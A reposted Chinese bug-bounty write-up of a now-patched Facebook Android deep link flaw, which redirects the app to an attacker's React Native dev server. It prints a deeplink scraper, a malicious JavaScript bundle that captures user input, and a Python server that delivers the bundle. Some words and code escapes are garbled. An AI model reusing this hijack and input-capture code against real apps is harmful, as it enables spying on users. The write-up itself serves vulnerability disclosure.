如何利用深度链接方式后门化Facebook APP

近期,作者发现了Facebook安卓APP应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的Facebook安卓APP应用转变成后门程序(Backdoor),实现后门化。另外,利用该漏洞还可以重打包Facebook APP,并将其发送给特定目标受害者安装使用。下面就来看看作者对该漏洞的发现过程,以及如何通过Payload构造,最终将其转化为Facebook APP实际生产环境中的安全隐患。

漏洞发现

通常做众测时,我会先认真了解目标系统的应用机制。在我的上一篇博客中,我已经分享了通过解析Facebook APP来发现FB4A参数应用中深度链接(deeplinks)的一些经验过程,而在此,我先分享我编写的一个脚本文件,用它可以自动实现对Facebook APP深度链接(deeplinks)的发现。该脚本文件为-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代码程序,专用于从 Facebook APK中提取深度链接(deeplinks):

import os import jsonimport argparsefrom zipfile import ZipFile from datetime import datetimefname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filenameparser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file')parser.add_argument('-o', help='Output file', nargs='?', default=fname)parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)args = parser.parse_args()file_name = args.i #apkoutput_name = args.o #generated output / providedexported = args.e #False / providedwith ZipFile(file_name, 'r') as zip:     print('Extracting native routes file...') #fyi        data = zip.read('assets/react_native_routes.json') #extract file from zip    js = json.loads(data.decode("utf-8")) #to read as list    params = '' #placeholder        i = 0 #deeplink count        text_file = open(output_name, "w") #open output    print('Manipulating data...') #fyi    for key in js: #for each block in json        for key2 in key['paramDefinitions']: #grab the collection of params            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type                    if exported: #exported only            if key.get('access','') != 'exported': #check access key                params = '' #Reset params                continue #try next block                        link = 'fb:/' + key['path'] + '/?' + params #build link        print(link[:-1]) #fyi        text_file.write(link[:-1]+ 'n') #write to file        i += 1 #increase counter        params = '' #reset params    text_file.close() #save file        print('File: ' + output_name + ' saved') #fyi    print(str(i) + ' deep links generated') #fyi

下载源: https://github.com/ashleykinguk/FBLinkBuilder/

使用方法: .FBLinkBuilder.py -i fb0409.apk

通过FBLinkBuilder.py的运行实现,我们可以对比不同APP版本之间出现的深度链接,以此来观察不同APP版本的应用服务变化,我正是利用该方法发现了Facebook APP 2020版本中存在的一个不安全的深度链接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。

该深度链接的参数形式为hostname / ip,于是乎我就用自架的服务器192.168.0.2来做了个测试:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通过该链接,可以在Facebook APP中跳出以下弹窗:

如何利用深度链接方式后门化Facebook APP点击其中的”Enable Quantum”按钮后,会重新启动Facebook APP,之后,我尝试去发现其中的变化,但这一切貌似没啥异常。接下来,我把注意力放到了网络流量上,当时我想到了不久前Facebook专为安全研究者开放的白帽测试功能,安全研究者可以通过该功能暂时绕过Facebook的证书绑定(Certificate Pinning)等安全限制,去测试Facebook相关应用的网络流量。通过该白帽测试功能,我发现在上述动作之后,Facebook APP会产生以下外发连接请求:

http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

这里的名列前茅条请求机制为传递基于的移动端设备属性信息,并意图建立一个websocket连接;第二条请求为返回请求主机的状态信息packager-status:running,它是Facebook的react-native源码内置参数,可以参考Github: /com/facebook/react/devsupport/DevServerHelper.java。

而就当我想方设法在自架服务器192.168.0.2中构造响应消息时,我又发现了Facebook APP产生的另外一个请求:

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false

该请求目的为寻找打包文件中存储的FB4A参数,初步分析来看,该参数应该是明文而非通常的hbc*格式存储于Facebook APP中。我曾尝试输入hbc*格式的FB4A参数进行测试,但最终却会让Facebook APP发生崩溃。
其实,对于Facebook APP来说,在2019年之前,其打包文件( bundles)存储于/assets/目录下的一个形式化文件中,但2019年后,Facebook就引入了hbc格式 (*Hermes ByteCode) ,一方面为APK瘦身,一方面为防止核心代码显式化。虽然我尝试使用了hbc格式工具HBCdump,对Facebook APP生成了一个约250M的打包文件,但好像也没什么用。

劫持Facebook APP

之后,我想到了另外一种发现打包文件的方法:那就是通过查看老版本的Facebook APP,将明文包内容和移动端设备生成的错误消息进行对比,移动端设备生成的错误消息可通过logcat可见。一通对比下来,我发现以下线索:

__fbBatchedBridge -包文件中必需的对象,其中包含了与APP应用同步的各种功能组成;

__fbBatchedBridge.callFunctionReturnFlushedQueue -APP后台调用的函数,每次调用都会执行相应的动作或事件。

基于上述发现,我的想法就是使Facebook APP可以成功下载并执行我构造的包文件,为了实现该目的,我需要自己编写包文件,然后把它托管在我的自架主机192.168.0.2中。以下是我构造的包文件FB4abundle.js:

/* contact@ash-king.co.uk */var i = 0, logs = ''; /* our local vars *//*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */var __fbBatchedBridge = { 	_lazyCallableModules: {},	_queue: [[], [], [], 0],	_callID: 0,	_lastFlush: 0,	_eventLoopStartTime: Date.now(),	_immediatesCallback: null,    callFunctionReturnFlushedQueue: function(module, method, args) {		return __fbBatchedBridge.__guard(function() {		  __fbBatchedBridge.__callFunction(module, method, args)		}), __fbBatchedBridge.flushedQueue()	},    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {		return __fbBatchedBridge.__guard(function() {		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);		}), __fbBatchedBridge.flushedQueue()	},    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);	},	flushedQueue: function(a, b) {		if(a != undefined){			throw new Error('flushedQueue: ' + b)		}		__fbBatchedBridge.__callImmediates(); 		const queue = __fbBatchedBridge._queue;		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];		return queue[0].length ? queue : null;	},	onComplete: function(a) { throw new Error(a) },		__callImmediates: function() {		if (__fbBatchedBridge._immediatesCallback != null) {		  __fbBatchedBridge._immediatesCallback();		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());		}	},	getCallableModule: function(a) { 		const getValue = __fbBatchedBridge._lazyCallableModules[a];		return getValue ? getValue() : null;	},	__callFunction: function(a,b,c) {		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings			i += 1 //increment count			logs += JSON.stringify(c) + 'n'; //JSON Object			if(i > 10) {				/* Here is where we will write out to logcat via js*/				var t = (nativeModuleProxy);				throw new Error('Look HERE: ' + (logs) + 'nr'); 			}		}		__fbBatchedBridge._lastFlush = Date.now();		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;		const moduleMethods = __fbBatchedBridge.getCallableModule(a);		try {			moduleMethods[b].apply(moduleMethods, c);		} catch (e) {					}		return -1	},	__guard: function(e) {		try {			e();		} catch (error) {			throw new Error('__guard: ' + error); 		}		}};

为了能让Facebook APP自动调用该包文件,我还需要另外一个脚本文件fb_server.py:

#contact@ash-king.co.ukfrom http.server import BaseHTTPRequestHandler, HTTPServerimport loggingclass S(BaseHTTPRequestHandler):    def _set_response(self):        self.send_response(500)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))    def do_GET(self):        if self.path == '/status':            self.resp_status()        elif str(self.path).find('message?device=') > -1:            self.resp_message()        elif str(self.path).find('Fb4aBundle.bundle') > -1:            self.resp_fb4a()    def do_POST(self):        content_length = int(self.headers['Content-Length'])        post_data = self.rfile.read(content_length)        logging.info("POST request,nPath: %snHeaders:n%snnBody:n%sn", str(self.path), str(self.headers), post_data.decode('utf-8'))        self._set_response()        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))    def resp_message(self):        logging.info("resp_message")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))    def resp_status(self):        logging.info("resp_status")        self.send_response(200)        self.send_header('Content-type', 'text/html')        self.end_headers()        self.wfile.write(bytes("packager-status:running", "utf-8"))        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))            def resp_fb4a(self):        logging.info("resp_bundle")        self.send_response(200)        self.send_header('Content-type', 'multipart/mixed')        self.end_headers()        with open('FB4abundle.js', 'rb') as file:             self.wfile.write(file.read())        logging.info("GET request,nPath: %snHeaders:n%sn", str(self.path), str(self.headers))def run(server_class=HTTPServer, handler_class=S, port=8224):    logging.basicConfig(level=logging.INFO)    server_address = ('', port)    httpd = server_class(server_address, handler_class)    logging.info('Starting httpd...n')    try:        httpd.serve_forever()    except KeyboardInterrupt:        pass    httpd.server_close()    logging.info('S较好ping httpd...n')if __name__ == '__main__':    from sys import argv    run()

综合深度链接、包文件调用和我自己构造加入的”Enable Quantum”URL链接,最终我可以向Facebook APP调用包文件中加入我自制的代码,并由其中的深度链接来实现调用。在我的POC漏洞验证展示中,如果受害者运行了我重打包的Facebook APP后,我可以拦截他在Facebook APP中的输入字符流量,如拦截他输入的5个字符流量“testi”,并会在logfile中显示他实际输入的字符,且最终会产生一个告警提示:

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞,通过物理接触移动设备上的APP或向受害者发送重打包APP的方式,向受害者移动端设备APP中植入持久化连接,对受害者设备APP形成长期感知探测的后门化。

然而,一开始,Facebook安全团队却忽略了该漏洞,他们选择了关闭该漏洞报告并分类为不适用(not applicable),他们给出的解释为:

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后,我就公布了POC验证视频,一小时后,Facebook安全团队的雇员联系了我,声称他们重新评估了该漏洞,并要求我删除了该POC验证视频。但在视频删除前,至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后,我们决定按我们的众测标准给出对该漏洞给予奖励,在你上报的漏洞中,描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端,并向受害者APP中植入恶意代码的场景,感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 – 漏洞上报
2020.6.22 – 提供技术细节
2020.6.23 – Facebook把该漏洞分类为N/A
2020.6.23 – 我在Youtube上公布POC视频
2020.6.23 – Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 – 漏洞分类
2020.6.26 – Facebook通过关闭Quantum功能进行缓解
2020.8.20 – Facebook修复该漏洞
2020.9.17 – Facebook赏金奖励支付

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

文章标题:如何利用深度链接方式后门化Facebook APP,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24276

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月10日 下午11:49
下一篇 2022年9月10日 下午11:50

相关推荐

  • windows edge浏览器弹窗如何关闭

    edge浏览器关闭弹窗的方法: 1、在浏览器中点击右上角三个点,选择“设置”。 2、在左侧任务栏选择“隐私和安全性”。 3、下拉找到“安全性”将“阻止弹出窗口”的开关打开。 以上就是“windows edge浏览器弹窗如何关闭”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获…

    2022年9月8日
    73500
  • mysql中not null是不是索引

    “not null”不是索引而是非空约束,用于指定字段的值不能为空;对于使用了非空约束的字段,如果添加数据时没有指定值,则会报错。设置非空约束的两种方法:1、建表时设置,语法“CREATE TABLE 表名(字段名 数据类型 NOT NULL);”;2、修改表时设置,语法“ALTER TABLE 表…

    2022年9月22日
    70600
  • windows microsoft edge能不能卸载

    “microsoft edge”不能卸载是没有影响的;“microsoft edge”是微软与windows10同步推出的一款浏览器,其中支持内置Cortana语音功能,该浏览器是系统中自带的应用程序,无法通过程序选项完成卸载。 本教程操作环境:windows10系统、DELL G3电脑。 micr…

    2022年9月15日
    1.7K00
  • 如何进行授权的APK渗透测试

    作为一个渗透测试小白,本文的目的是希望能为那些和我一样的小白提供一些测试思路。涉及的内容可能比较基础,表哥们见谅。APK 解包拿到 apk 之后直接用 7-Zip 解压可以得到几个文件夹、一个 AndroidManifest.xml 文件、一个dex文件。使用 dex2jar https://sou…

    2022年9月18日
    58200
  • mysql分页查询如何优化

    分页查询的优化方式:1、子查询优化,可通过把分页的SQL语句改写成子查询的方法获得性能上的提升。2、id限定优化,可以根据查询的页数和查询的记录数计算出查询的id的范围,然后根据“id between and”语句来查询。3、基于索引再排序进行优化,通过索引去找相关的数据地址,避免全表扫描。4、延迟…

    2022年9月24日
    2.3K00
  • 电脑0x0000007e蓝屏如何修复

    0x0000007e蓝屏解决方法: 方法一: 1、点击左下方的搜索栏输入运行并打开。 2、双击列表中的运行将其打开。 3、然后在运行对话框中输入代码: for %1 in (%windir%system32*.dll) do regsvr32.exe /s %1 方法二: 1、如果我们进不去系统,那…

    2022年9月18日
    92500
  • windows会声会影如何导出视频高清

    会声会影导出视频高清的方法 1、首先我们要保证我们的源视频是高清的,否则无论如何操作都无法导出高清的视频。 2、接着我们在导入视频前要设置高清的项目环境,这样我们就能在高清的环境中编辑视频了。 3、点击左上角“设置”,选择“项目属性”。 4、根据我们需要的参数设置相应的项目格式。 5、当我们编辑完成…

    2022年9月15日
    56400
  • windows连不上网怎么安装网卡驱动

    连不上网安装网卡驱动的方法: 方法一: 1、大部分的系统都是自带驱动程序的。 2、因此只要右键此电脑,打开“管理” 3、接着进入“设备管理器” 4、然后右键网卡,选择“更新驱动程序” 5、随后选择“浏览我的电脑以查找驱动程序” 6、最后选择本地驱动位置,就可以安装了。 方法二: 1、如果不行,那就在…

    2022年8月30日
    1.6K00
  • SQL中的开窗函数是什么

    OVER的定义 OVER用于为行定义一个窗口,它对一组值进行操作,不需要使用GROUP BY子句对数据进行分组,能够在同一行中同时返回基础行的列和聚合列。 OVER的语法 OVER ( [ PARTITION BY column ] [ ORDER BY culumn ] ) PARTITION B…

    2022年9月2日
    1.1K00
  • windows浩辰cad看图王模糊怎么解决

    解决方法: 方法一: 1、如果我们的图纸与软件版本相差太大,可能会导致打开图纸模糊的问题。 2、大家如果使用的是新版的cad软件,那么建议也下载最新的浩辰cad看图王。 方法二: 1、如果我们的软件版本没有问题,那么可能是内存不足导致的。 2、因为如果加载的图纸较大的话,就需要很大的缓存空间来加载。…

    2022年9月21日
    66200
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部